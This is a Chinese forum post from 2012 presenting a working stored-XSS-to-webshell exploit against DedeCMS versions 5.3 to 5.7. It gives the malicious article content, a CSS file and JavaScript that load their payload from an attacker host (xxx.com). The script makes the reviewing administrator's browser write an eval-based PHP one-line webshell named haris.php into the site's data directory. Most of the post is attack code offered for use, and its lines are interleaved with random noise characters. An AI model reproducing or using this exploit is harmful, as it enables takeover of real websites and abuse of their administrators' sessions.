找回密码
 立即注册
查看: 2716|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell6 P* a% [0 e2 W$ w! @* Z$ c  H
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)1 k- F. f+ g& B, K) i
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。  S, F0 w& _9 |, D# q
下面说说利用方法。
6 v2 @: T. R3 p* r( ]条件有2个:
# O. Q6 ?( y' [4 O1.开启注册# L1 y  O9 B6 @5 K) [
2.开启投稿: }" Z* Q0 J* b( B) t
注册会员----发表文章
8 O' O0 y) s+ C9 l+ c内容填写:( Y# V# A1 `! A3 D/ U
复制代码
1 \! f+ \6 d. z<style>@im\port'\http://xxx.com/xss.css';</style>
( c7 a5 Z0 c  c; E! p$ B新建XSS.Css/ Y4 ?3 R1 ~8 e9 M! \  l. R
复制代码: y- L+ i3 Y; |6 |0 J! I. ^4 T
.body{/ D' @; D* ]/ z  i3 z
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }, |4 A# a5 j5 U( L$ k; D6 p. Z) `
新建xss.js 内容为" G. r- K3 k7 e/ c7 ~9 Y
复制代码# Z3 D* _& X3 L4 w. l
1.var request = false;: I# h6 J0 o; `# r4 V7 P
2.if(window.XMLHttpRequest) {
; H/ P' l, H+ Z; Z) t3.request = new XMLHttpRequest();
* p1 m0 S3 A4 w" C6 q+ o4.if(request.overrideMimeType) {, j1 _' e( c+ _( k. [
5.request.overrideMimeType('text/xml');
" x, N) @3 \/ A6 m2 ^6.}
& t4 c5 Q3 S2 g" |! L) t- j7.} else if(window.ActiveXObject) {
  F" h) z# J0 c8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];9 d- K) u$ L) A0 [5 P
9.for(var i=0; i<versions.length; i++) {
( {# l) @( W1 f6 h. T" A( u+ i10.try {9 L! Z! U3 m8 G6 q& q- U( _8 N
11.request = new ActiveXObject(versions);+ e% I3 o- a8 |& n
12.} catch(e) {}
. G! h8 p+ g' s1 z13.}3 {8 t/ n) F  C+ J
14.}  [& }3 Y& h+ A( ^8 s/ j4 C8 P: E
15.xmlhttp=request;
! K2 U- @( }8 @  v/ h. |16.function getFolder( url ){7 _, r6 s) U  |: B1 Y
17. obj = url.split('/')
- G! B/ ?' |# @- I$ W18. return obj[obj.length-2]
( e7 i4 ?) A- q# j5 ]19.}+ C9 H$ [- |- o7 {1 V9 C+ [" F5 T$ P
20.oUrl = top.location.href;4 k$ Y" y  T" r+ E  {! v' l
21.u = getFolder(oUrl);
9 l, n5 }- s' w/ |22.add_admin();0 j& G" `' \6 q8 ?
23.function add_admin(){
4 h, B, R( p! Z$ W24.var url= "/"+u+"/sys_sql_query.php";" O2 A9 O2 {6 n0 I7 E5 n1 m5 C5 Q
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";6 N+ s7 I) s  \; c: B/ n
26.xmlhttp.open("POST", url, true);5 _( C" y3 [7 X9 q) y6 ?& N# a
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");, S; j7 ?/ M8 {3 S, ?1 h
28.xmlhttp.setRequestHeader("Content-length", params.length);! C: x2 c  z& J6 O; s; E  C/ ?
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
9 e5 d9 x* g* ]30.xmlhttp.send(params);
0 C: Q: z: N0 \' j  j' O31.}
: e* {6 q+ h3 X当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表